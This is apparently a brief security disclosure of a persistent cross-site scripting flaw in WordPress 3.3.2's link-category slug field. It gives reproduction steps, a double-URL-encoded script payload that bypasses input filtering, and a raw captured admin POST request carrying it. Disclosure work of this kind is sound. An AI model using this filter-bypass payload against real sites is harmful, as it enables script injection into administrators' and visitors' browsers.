There is a persistent XSS vulnerability in the wordpress version 3.3.2. However, the severity of this finding is very LOW. The detail is as follow, a) Login into an admin account b) Navigate to Links -> Links Categories c) Fill up the required details and intercept the request with a BURP suite. d) The injectable parameter is slug. If you inject as a value to parameter "slug", the application strips it off and the value becomes alert1. But if the payload is double encode then ;-) when converted to %253cscript%253ealert%25281%2529%253c%252fscript%253e bypasses xss protection. The following request shows the raw burp request along with the vulnerable parameter and payload marked in bold. BURP REQUEST POST /wordpress/wp-admin/edit-tags.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://localhost/wordpress/wp-admin/edit-tags.php?action=edit&taxonomy=link_category&tag_ID=2&post_type=post Cookie: wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1335544051%7C197b22093eaefaf6950bd81d6aa6372b; wp-settings-time-1=1335371272; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1335544051%7C6ebcb9d0104a37c6d7a91274ac94c6cb Content-Type: application/x-www-form-urlencoded Content-Length: 379 action=editedtag&tag_ID=2&taxonomy=link_category&_wp_original_http_referer=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dlink_category&_wpnonce=83974d7f8f&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fedit-tags.php%3Faction%3Dedit%26taxonomy%3Dlink_category%26tag_ID%3D2%26post_type%3Dpost&name=Blogroll&slug=injecthere%253cscript%253ealert%25281%2529%253c%252fscript%253e&description=sectest&submit=Update